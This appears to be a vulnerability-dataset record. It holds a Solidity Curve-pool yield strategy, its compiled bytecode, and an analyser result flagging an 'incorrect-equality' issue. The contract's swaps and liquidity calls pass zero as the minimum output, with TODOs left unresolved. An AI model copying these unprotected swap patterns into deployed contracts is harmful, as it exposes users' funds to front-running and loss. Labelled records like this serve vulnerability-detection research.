abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // interface ICurveFi { function get_virtual_price() external view returns (uint256); function add_liquidity( // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; } interface ICurveDeposit { function get_virtual_price() external view returns (uint256); function add_liquidity( // renBTC pool uint256[2] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount) external; // function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount, bool _donate_dust) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function calc_withdraw_one_coin(uint256 _amount, int128 _index) external view returns(uint256); } // interface Gauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; } // interface Uni { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); } interface IController { function withdraw(address, uint256) external; function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); } // interface Mintr { function mint(address) external; } // contract StrategyCurve3TokenPool { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public constant N_COINS = 3; uint256 public immutable WANT_COIN_INDEX; address public immutable want; address public immutable crvLP; address public immutable curveDeposit; address public immutable gauge; address public immutable mintr; address public immutable crv; address public immutable uni; // used for crv <> weth <> dai route address public immutable weth; string private name; // DAI, USDC, USDT, TUSD address[N_COINS] public coins; uint256[N_COINS] public ZEROS = [uint256(0), uint256(0), uint256(0)]; uint256 public performanceFee = 500; uint256 public immutable performanceMax = 10000; uint256 public withdrawalFee = 0; uint256 public immutable withdrawalMax = 10000; address public governance; address public controller; address public timelock; constructor ( address _controller, string memory _name, uint256 _wantCoinIndex, address[N_COINS] memory _coins, address _curveDeposit, address _gauge, address _crvLP, address _crv, address _uni, address _mintr, address _weth, address _timelock ) public { governance = msg.sender; controller = _controller; name = _name; WANT_COIN_INDEX = _wantCoinIndex; want = _coins[_wantCoinIndex]; coins = _coins; curveDeposit = _curveDeposit; gauge = _gauge; crvLP = _crvLP; crv = _crv; uni = _uni; mintr = _mintr; weth = _weth; timelock = _timelock; } function getName() external view returns (string memory) { return name; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == governance, "!governance"); require(_withdrawalFee < withdrawalMax, "inappropriate withdraw fee"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == governance, "!governance"); require(_performanceFee < performanceMax, "inappropriate performance fee"); performanceFee = _performanceFee; } function deposit() public { _deposit(WANT_COIN_INDEX); } function _deposit(uint256 _coinIndex) internal { require(_coinIndex < N_COINS, "index exceeded bound"); address coinAddr = coins[_coinIndex]; uint256 wantAmount = IERC20(coinAddr).balanceOf(address(this)); if (wantAmount > 0) { IERC20(coinAddr).safeApprove(curveDeposit, 0); IERC20(coinAddr).safeApprove(curveDeposit, wantAmount); uint256[N_COINS] memory amounts = ZEROS; amounts[_coinIndex] = wantAmount; // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).add_liquidity(amounts, 0); } uint256 crvLPAmount = IERC20(crvLP).balanceOf(address(this)); if (crvLPAmount > 0) { IERC20(crvLP).safeApprove(gauge, 0); IERC20(crvLP).safeApprove(gauge, crvLPAmount); Gauge(gauge).deposit(crvLPAmount); } } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); uint256 _amount = Gauge(gauge).balanceOf(address(this)); Gauge(gauge).withdraw(_amount); IERC20(crvLP).safeApprove(curveDeposit, 0); IERC20(crvLP).safeApprove(curveDeposit, _amount); // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _withdrawSome(_amount.sub(_balance)); _amount = IERC20(want).balanceOf(address(this)); } uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(IController(controller).rewards(), _fee); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_fee)); } function _withdrawSome(uint256 _amount) internal { if (_amount > balanceOfGauge()) { _amount = balanceOfGauge(); } Gauge(gauge).withdraw(_amount); IERC20(crvLP).safeApprove(curveDeposit, 0); IERC20(crvLP).safeApprove(curveDeposit, _amount); // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); for (uint i = 0; i < N_COINS; ++i) { require(coins[i] != address(_asset), "internal token"); } require(crv != address(_asset), "crv"); require(crvLP != address(_asset), "crvLP"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } function harvest(uint _coinIndex) public { require(_coinIndex < N_COINS, "index exceeded bound"); Mintr(mintr).mint(gauge); address harvestingCoin = coins[_coinIndex]; uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { IERC20(crv).safeApprove(uni, 0); IERC20(crv).safeApprove(uni, _crv); address[] memory path = new address[](3); path[0] = crv; path[1] = weth; path[2] = harvestingCoin; // TODO: add minimun mint amount if required Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800)); } uint256 harvestAmount = IERC20(harvestingCoin).balanceOf(address(this)); if (harvestAmount > 0) { uint256 _fee = harvestAmount.mul(performanceFee).div(performanceMax); IERC20(harvestingCoin).safeTransfer(IController(controller).rewards(), _fee); _deposit(_coinIndex); } } function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfGauge() public view returns (uint256) { return Gauge(gauge).balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { uint256 gaugeBalance = balanceOfGauge(); // NOTE: this is for curve 3 pool only, since calc_withdraw_one_coin // would raise error when input 0 amount if (gaugeBalance == 0) { return 0; } // portfolio virtual price (for calculating profit) scaled up by 1e18 uint256 price = ICurveDeposit(curveDeposit).get_virtual_price(); uint256 _amount = gaugeBalance.mul(price); return convertToCoinAmount(uint128(WANT_COIN_INDEX), _amount); } function convertToCoinAmount(uint128 _index, uint256 _amount) public view returns (uint256){ if (_index == 0) { return _amount; } else if (_index == 1) { //usdc decmials is 6 return _amount.div(1e12); } //usdt decmials is 6 return _amount.div(1e12); } function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function setGovernance(address _governance) external { require(msg.sender == timelock, "!timelock"); governance = _governance; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063887ee97111610125578063c1a3d44c116100ad578063d33219b41161007c578063d33219b4146104b0578063d5c1ff73146104b8578063ddc63262146104c0578063edc9af95146104dd578063f77c4791146104e557610211565b8063c1a3d44c1461047b578063c661065714610483578063d0e30db0146104a0578063d1e61dcb146104a857610211565b8063a6f19c84116100f4578063a6f19c84146103ed578063ab033ea9146103f5578063ac1e50251461041b578063ae164f2914610438578063bdacb3031461045557610211565b8063887ee971146103af5780638bc7e8c4146103b757806392eefe9b146103bf57806396c8e84d146103e557610211565b80635aa6e675116101a8578063722713f711610177578063722713f7146103875780637cc791131461038f578063839cfbb114610397578063853828b61461039f57806387788782146103a757610211565b80635aa6e675146103525780636a4874a11461035a5780636f4f0e481461036257806370897b231461036a57610211565b806329357750116101e457806329357750146102fd5780632e1a7d4d146103055780633fc8cef31461032457806351cff8d91461032c57610211565b8063115880861461021657806317d7de7c146102305780631f1fcd51146102ad578063239c521d146102d1575b600080fd5b61021e6104ed565b60408051918252519081900360200190f35b6102386105d3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027257818101518382015260200161025a565b50505050905090810190601f16801561029f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b5610669565b604080516001600160a01b039092168252519081900360200190f35b61021e600480360360408110156102e757600080fd5b506001600160801b03813516906020013561068d565b61021e6106e4565b6103226004803603602081101561031b57600080fd5b50356106e9565b005b6102b5610a9b565b61021e6004803603602081101561034257600080fd5b50356001600160a01b0316610abf565b6102b5610cfa565b6102b5610d09565b61021e610d2d565b6103226004803603602081101561038057600080fd5b5035610d51565b61021e610e17565b61021e610e37565b61021e610e5b565b61021e610efb565b61021e611373565b6102b5611379565b61021e61139d565b610322600480360360208110156103d557600080fd5b50356001600160a01b03166113a3565b6102b5611410565b6102b5611434565b6103226004803603602081101561040b57600080fd5b50356001600160a01b0316611458565b6103226004803603602081101561043157600080fd5b50356114c5565b61021e6004803603602081101561044e57600080fd5b503561158b565b6103226004803603602081101561046b57600080fd5b50356001600160a01b031661159f565b61021e61160c565b6102b56004803603602081101561049957600080fd5b503561167b565b610322611698565b6102b56116c3565b6102b56116e7565b61021e6116f6565b610322600480360360208110156104d657600080fd5b503561171a565b6102b5611c94565b6102b5611cb8565b6000806104f8610e5b565b9050806105095760009150506105d0565b60007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d602081101561058e57600080fd5b50519050600061059e8383611cc7565b90506105ca7f00000000000000000000000000000000000000000000000000000000000000008261068d565b93505050505b90565b60008054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b60006001600160801b0383166106a45750806106de565b826001600160801b0316600114156106cc576106c58264e8d4a51000611d20565b90506106de565b6106db8264e8d4a51000611d20565b90505b92915050565b600381565b600a546001600160a01b03163314610736576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60007f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d60208110156107cf57600080fd5b5051905081811015610882576107ed6107e88383611d62565b611da4565b604080516370a0823160e01b815230600482015290516001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f16916370a08231916024808301926020929190829003018186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d602081101561087d57600080fd5b505191505b60006108c37f00000000000000000000000000000000000000000000000000000000000027106108bd60085486611cc790919063ffffffff16565b90611d20565b9050610973600a60009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b15801561091657600080fd5b505afa15801561092a573d6000803e3d6000fd5b505050506040513d602081101561094057600080fd5b50516001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f169083611f91565b600a5460408051632988bb9f60e21b81526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811660048301529151600093929092169163a622ee7c91602480820192602092909190829003018186803b1580156109e457600080fd5b505afa1580156109f8573d6000803e3d6000fd5b505050506040513d6020811015610a0e57600080fd5b505190506001600160a01b038116610a56576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b610a9581610a648685611d62565b6001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f169190611f91565b50505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600a546000906001600160a01b03163314610b0f576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60005b6003811015610b8957826001600160a01b031660018260038110610b3257fe5b01546001600160a01b03161415610b81576040805162461bcd60e51b815260206004820152600e60248201526d34b73a32b93730b6103a37b5b2b760911b604482015290519081900360640190fd5b600101610b12565b50816001600160a01b03167f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd526001600160a01b03161415610bf7576040805162461bcd60e51b815260206004820152600360248201526231b93b60e91b604482015290519081900360640190fd5b816001600160a01b03167f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4906001600160a01b03161415610c66576040805162461bcd60e51b815260206004820152600560248201526406372764c560dc1b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b158015610cac57600080fd5b505afa158015610cc0573d6000803e3d6000fd5b505050506040513d6020811015610cd657600080fd5b5051600a54909150610cf5906001600160a01b03848116911683611f91565b919050565b6009546001600160a01b031681565b7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b7f000000000000000000000000000000000000000000000000000000000000000081565b6009546001600160a01b03163314610d9e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000027108110610e12576040805162461bcd60e51b815260206004820152601d60248201527f696e617070726f70726961746520706572666f726d616e636520666565000000604482015290519081900360640190fd5b600755565b6000610e32610e246104ed565b610e2c61160c565b90611fe8565b905090565b7f000000000000000000000000000000000000000000000000000000000000271081565b60007f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610eca57600080fd5b505afa158015610ede573d6000803e3d6000fd5b505050506040513d6020811015610ef457600080fd5b5051905090565b600a546000906001600160a01b03163314610f4b576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60007f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d6020811015610fe457600080fd5b505160408051632e1a7d4d60e01b81526004810183905290519192506001600160a01b037f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a1691632e1a7d4d9160248082019260009290919082900301818387803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b506110c19250506001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4901690507f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76000612042565b6111156001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c783612042565b60408051630d2680e960e11b8152600481018390527f0000000000000000000000000000000000000000000000000000000000000000600f0b602482015260006044820181905291516001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71692631a4d01d2926064808201939182900301818387803b1580156111ab57600080fd5b505af11580156111bf573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f1693506370a0823192506024808301926020929190829003018186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d602081101561125357600080fd5b5051600a5460408051632988bb9f60e21b81526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811660048301529151939550600093919092169163a622ee7c916024808301926020929190829003018186803b1580156112c857600080fd5b505afa1580156112dc573d6000803e3d6000fd5b505050506040513d60208110156112f257600080fd5b505190506001600160a01b03811661133a576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b61136e6001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f168285611f91565b505090565b60075481565b7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c781565b60085481565b600b546001600160a01b031633146113ee576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b7f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e49081565b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a81565b600b546001600160a01b031633146114a3576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b03163314611512576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000027108110611586576040805162461bcd60e51b815260206004820152601a60248201527f696e617070726f70726961746520776974686472617720666565000000000000604482015290519081900360640190fd5b600855565b6004816003811061159857fe5b0154905081565b600b546001600160a01b031633146115ea576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60007f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610eca57600080fd5b6001816003811061168857fe5b01546001600160a01b0316905081565b6116c17f0000000000000000000000000000000000000000000000000000000000000000612155565b565b7f000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce081565b600b546001600160a01b031681565b7f000000000000000000000000000000000000000000000000000000000000271081565b60038110611766576040805162461bcd60e51b81526020600482015260146024820152731a5b99195e08195e18d95959195908189bdd5b9960621b604482015290519081900360640190fd5b7f000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce06001600160a01b0316636a6278427f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b1580156117f557600080fd5b505af1158015611809573d6000803e3d6000fd5b5050505060006001826003811061181c57fe5b0154604080516370a0823160e01b815230600482015290516001600160a01b0392831693506000927f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5216916370a08231916024808301926020929190829003018186803b15801561188c57600080fd5b505afa1580156118a0573d6000803e3d6000fd5b505050506040513d60208110156118b657600080fd5b505190508015611b36576119156001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52167f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6000612042565b6119696001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52167f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83612042565b604080516003808252608082019092526060916020820183803683370190505090507f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52816000815181106119b957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611a0757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508281600281518110611a3557fe5b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d166338ed17398360008430611a8342610708611fe8565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611af3578181015183820152602001611adb565b505050509050019650505050505050600060405180830381600087803b158015611b1c57600080fd5b505af1158015611b30573d6000803e3d6000fd5b50505050505b6000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611b8557600080fd5b505afa158015611b99573d6000803e3d6000fd5b505050506040513d6020811015611baf57600080fd5b505190508015610a95576000611bf47f00000000000000000000000000000000000000000000000000000000000027106108bd60075485611cc790919063ffffffff16565b9050611c84600a60009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4757600080fd5b505afa158015611c5b573d6000803e3d6000fd5b505050506040513d6020811015611c7157600080fd5b50516001600160a01b0386169083611f91565b611c8d85612155565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600a546001600160a01b031681565b600082611cd6575060006106de565b82820282848281611ce357fe5b04146106db5760405162461bcd60e51b81526004018080602001828103825260218152602001806128b86021913960400191505060405180910390fd5b60006106db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612562565b60006106db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612604565b611dac610e5b565b811115611dbe57611dbb610e5b565b90505b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611e2457600080fd5b505af1158015611e38573d6000803e3d6000fd5b50611e939250506001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4901690507f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76000612042565b611ee76001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c783612042565b60408051630d2680e960e11b8152600481018390527f0000000000000000000000000000000000000000000000000000000000000000600f0b602482015260006044820181905291516001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71692631a4d01d2926064808201939182900301818387803b158015611f7d57600080fd5b505af1158015611c8d573d6000803e3d6000fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611fe390849061265e565b505050565b6000828201838110156106db576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b8015806120c8575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561209a57600080fd5b505afa1580156120ae573d6000803e3d6000fd5b505050506040513d60208110156120c457600080fd5b5051155b6121035760405162461bcd60e51b81526004018080602001828103825260368152602001806129036036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611fe390849061265e565b600381106121a1576040805162461bcd60e51b81526020600482015260146024820152731a5b99195e08195e18d95959195908189bdd5b9960621b604482015290519081900360640190fd5b6000600182600381106121b057fe5b0154604080516370a0823160e01b815230600482015290516001600160a01b03909216925060009183916370a08231916024808301926020929190829003018186803b1580156121ff57600080fd5b505afa158015612213573d6000803e3d6000fd5b505050506040513d602081101561222957600080fd5b505190508015612392576122686001600160a01b0383167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76000612042565b61229c6001600160a01b0383167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c783612042565b6122a4612899565b6040805160608101918290529060049060039082845b8154815260200190600101908083116122ba5750505050509050818185600381106122e157fe5b6020020152604051634515cef360e01b81526001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71690634515cef390839060009060040180836060808383875b8381101561234d578181015183820152602001612335565b5050505090500182815260200192505050600060405180830381600087803b15801561237857600080fd5b505af115801561238c573d6000803e3d6000fd5b50505050505b60007f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4906001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561240157600080fd5b505afa158015612415573d6000803e3d6000fd5b505050506040513d602081101561242b57600080fd5b505190508015610a955761248a6001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6000612042565b6124de6001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a83612042565b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b031663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561254457600080fd5b505af1158015612558573d6000803e3d6000fd5b5050505050505050565b600081836125ee5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125b357818101518382015260200161259b565b50505050905090810190601f1680156125e05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816125fa57fe5b0495945050505050565b600081848411156126565760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156125b357818101518382015260200161259b565b505050900390565b60606126b3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661270f9092919063ffffffff16565b805190915015611fe3578080602001905160208110156126d257600080fd5b5051611fe35760405162461bcd60e51b815260040180806020018281038252602a8152602001806128d9602a913960400191505060405180910390fd5b606061271e8484600085612726565b949350505050565b606061273185612893565b612782576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106127c15780518252601f1990920191602091820191016127a2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612823576040519150601f19603f3d011682016040523d82523d6000602084013e612828565b606091505b5091509150811561283c57915061271e9050565b80511561284c5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156125b357818101518382015260200161259b565b3b151590565b6040518060600160405280600390602082028036833750919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212209982654f95ba2df93dcceaf8749cb2a0922734b9a0df49440e9378d1ae282d8864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
